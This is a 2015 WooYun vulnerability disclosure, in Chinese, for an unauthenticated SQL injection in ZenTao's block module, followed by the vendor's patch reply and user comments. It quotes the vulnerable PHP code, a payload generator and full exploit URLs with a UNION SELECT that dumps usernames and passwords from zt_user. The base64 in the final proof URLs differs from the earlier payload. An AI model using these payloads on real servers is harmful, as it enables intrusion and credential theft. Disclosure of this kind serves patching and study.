当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151486

漏洞标题:禅道项目管理软件 SQL注入漏洞(无需登录)

相关厂商:禅道

漏洞作者: xiao.k

提交时间:2015-11-03 16:13

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-03: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

很多大厂商都在用,希望能得到足够的重视。

详细说明:

关键代码在 `module\block\control.php`,20-57行

public function main()
{
$lang = $this->get->lang;
$this->app->setClientLang($lang);
$this->app->loadLang('common');
$this->app->loadLang('block');
$mode = strtolower($this->get->mode);
if($mode == 'getblocklist')
{
echo $this->block->getAvailableBlocks();
}
elseif($mode == 'getblockform')
{
$code = strtolower($this->get->blockid);
$func = 'get' . ucfirst($code) . 'Params';
echo $this->block->$func();
}
elseif($mode == 'getblockdata')
{
$code = strtolower($this->get->blockid);
$params = $this->get->param;
$params = json_decode(base64_decode($params));
$sso = base64_decode($this->get->sso);
if(!isset($this->app->user)) $this->app->user = new stdclass();
if(!isset($this->app->user->account) or $this->app->user->account != $params->account) $this->app->user->account = $params->account;
$this->params = $params;
$this->view->sso = $sso;
$this->view->sign = strpos($sso, '&') === false ? '?' : '&';
$this->view->code = $this->get->blockid;
$func = 'print' . ucfirst($code) . 'Block';
$this->$func();
}
}


当mode为getblockdata时,我们传入的$params会被base64_decode和json_decode。如果我们传入的代码有特殊字符,GPC在此是起不到作用的。我们可以通过构造blockid,加载下面的函数。我拿`printTaskBlock`举个例子,实际上下面几个函数都有注入:

public function printTaskBlock()
{
$this->view->tasks = $this->loadModel('task')->getUserTasks($this->app->user->account, $this->params->type, $this->params->num, null, $this->params->orderBy);
$this->display();
}


我们来看一下`\module\task\model.php`里的`getUserTasks`。大家注意`getUserTasks`里的第二个参数

public function getUserTasks($account, $type = 'assignedTo', $limit = 0, $pager = null, $orderBy="id_desc")
{
$tasks = $this->dao->select('t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion')
->from(TABLE_TASK)->alias('t1')
->leftjoin(TABLE_PROJECT)->alias('t2')
->on('t1.project = t2.id')
->leftjoin(TABLE_STORY)->alias('t3')
->on('t1.story = t3.id')
->where('t1.deleted')->eq(0)
->beginIF($type != 'all')->andWhere("t1.$type")->eq($account)->fi()
->orderBy($orderBy)
->beginIF($limit > 0)->limit($limit)->fi()
->page($pager)
->fetchAll();
$this->loadModel('common')->saveQueryCondition($this->dao->get(), 'task');
if($tasks) return $this->processTasks($tasks);
return array();
}


$type 参数会带入到sql里。接下来我们需要构造param,以便传参数进来。

<?php
$exp = new stdclass();
$exp->account = "admin";
$exp->type = "id=-1 sql_inj #";

echo base64_encode(json_encode($exp));
// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgc3FsX2luaiAjIn0=


当zentao的url模式为PATH_INFO时,我们构造的语句如下。大家可以把config/my.php里的trace设置为True。方便看调试语句。

1.JPG


因为注入点之前不包含order by,所以可以使用union 联合查询。

<?php
$exp = new stdclass();
$exp->account = "admin";
$exp->type = "id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#";

echo base64_encode(json_encode($exp));
// eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


这里是官方的测试结果

http://**.**.**.**/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


2.JPG

漏洞证明:

当程序的requestType为PATH_INFO时,利用代码为

http://**.**.**.**/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9


当程序的requestType为GET时,利用代码为

http://**.**.**.**/index.php?m=block&f=main&mode=getblockdata&blockid=Task&param=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9

修复方案:

加强过滤和权限控制。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 11:24

厂商回复:

这个是7.3版本以后的一个问题。谢谢反馈。已经发布补丁处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-03 16:14 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)

    前排出售瓜子花生 坐等公开

  2. 2015-11-03 16:16 | 珈蓝夜宇 ( 普通白帽子 | Rank:226 漏洞数:33 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    这是三个白帽上面的那个? 看来放0day了啊

  3. 2015-11-03 16:20 | prolog ( 普通白帽子 | Rank:598 漏洞数:113 | Rank:8888 漏洞数:1024 | 低调求发展)

    好屌

  4. 2015-11-03 16:24 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)

    @珈蓝夜宇 啊?三个白帽那个帖子?

  5. 2015-11-03 16:25 | 我的邻居王婆婆 ( 普通白帽子 | Rank:2991 漏洞数:508 | 刚发现个好洞网站就挂了)

    @珈蓝夜宇 成功的宣传了三个白帽

  6. 2015-11-03 16:35 | xsser 认证白帽子 ( 普通白帽子 | Rank:282 漏洞数:21 | 当我又回首一切,这个世界会好吗?)

    @我的邻居王婆婆 你们都用了?

  7. 2015-11-03 16:36 | 珈蓝夜宇 ( 普通白帽子 | Rank:226 漏洞数:33 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    http://2aca962c2406af121.jie.sangebaimao.com/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA= 来挑战一发

  8. 2015-11-03 16:38 | 珈蓝夜宇 ( 普通白帽子 | Rank:226 漏洞数:33 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    无需登录 又是sql注入 除了登录框POST注入应该就没别的地方了吧?

  9. 2015-11-03 16:40 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)

    @珈蓝夜宇 @xsser 求激活码啊!

  10. 2015-11-03 17:00 | 齐迹 ( 普通白帽子 | Rank:790 漏洞数:102 | 重庆地区招聘安全工程师。sec.zbj.com欢迎...)

    @珈蓝夜宇 万一还有未授权访问的文件呢?

  11. 2015-11-03 17:00 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1296 漏洞数:131 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    这个屌炸天了

  12. 2015-11-03 17:02 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)

    前排出售瓜子饮料小马扎,围观~

  13. 2015-11-03 17:02 | PiaCa ( 普通白帽子 | Rank:137 漏洞数:11 | 简单点!啪......嚓~~)

    @xiao.k http://www.wooyun.org/market/336 快买

  14. 2015-11-03 17:02 | hecate ( 普通白帽子 | Rank:754 漏洞数:116 | ®高级安全工程师 | WooYun认证√)

    这几天好多0day啊

  15. 2015-11-03 17:03 | 随风的风 ( 普通白帽子 | Rank:211 漏洞数:76 | 微信公众号:233sec 不定期分享各种漏洞思...)

    后排出售邀请码

  16. 2015-11-03 17:12 | px1624 ( 普通白帽子 | Rank:1081 漏洞数:182 | px1624)

    这个好

  17. 2015-11-03 17:28 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)

    @PiaCa 打劫实习白帽子,你不觉得可耻么。我要挖10几个洞够啊

  18. 2015-11-03 17:34 | hecate ( 普通白帽子 | Rank:754 漏洞数:116 | ®高级安全工程师 | WooYun认证√)

    @xiao.k 你挖的通用漏洞啊,只要使用这个软件的厂商挨个提交,rank超猪哥都行啊

  19. 2015-11-03 17:46 | boooooom 认证白帽子 ( 普通白帽子 | Rank:473 漏洞数:51 | 我有一个好想法!)

    @xiao.k 来tangscan提交个插件呀,原创作者呀

  20. 2015-11-03 17:50 | 我的邻居王婆婆 ( 普通白帽子 | Rank:2991 漏洞数:508 | 刚发现个好洞网站就挂了)

    @hecate 一看你就是没经验了,走小厂要你哭

  21. 2015-11-03 17:52 | 我的邻居王婆婆 ( 普通白帽子 | Rank:2991 漏洞数:508 | 刚发现个好洞网站就挂了)

    @xsser 观望中,没入手

  22. 2015-11-03 19:35 | loopx9 认证白帽子 ( 普通白帽子 | Rank:768 漏洞数:78 | ..)

    吊啊

  23. 2015-11-03 19:59 | sOnsec ( 普通白帽子 | Rank:106 漏洞数:29 | 安全是什么...)

    不给个雷啊

  24. 2015-11-03 20:20 | Croxy ( 普通白帽子 | Rank:513 漏洞数:54 | 只会送人头)

    nice啊

  25. 2015-11-03 20:22 | 至尊宝 ( 路人 | Rank:14 漏洞数:8 | 向大牛学习,向核心白帽子进发,爱工作,爱...)

    诶。。。我们公司用的就是禅道

  26. 2015-11-03 20:45 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)

    @xsser 禅道很多开发公司都在用,影响较广~ 要找工作了,求个雷~

  27. 2015-11-03 22:19 | 安徽小伙怕过谁? ( 路人 | Rank:4 漏洞数:1 | 学习中)

    @黑桃 逗逼

  28. 2015-11-04 11:26 | 青岛易软天创网络科技有限公司(乌云厂商)

    已经发布补丁处理。请大家及时更新。

  29. 2015-11-04 13:47 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    @xiao.k 多乌云多机会 我听说你在找工作!

  30. 2015-11-04 13:53 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)

    @啊L川 那还拒绝我提交的漏洞~ 55555555

  31. 2015-11-05 18:21 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ,菜渣, 菜呀!)

    @xiao.k ヾ(@⌒ー⌒@)ノ

  32. 2015-12-17 18:31 | F4K3R ( 普通白帽子 | Rank:318 漏洞数:34 | 学习)

    [ ] 哈哈,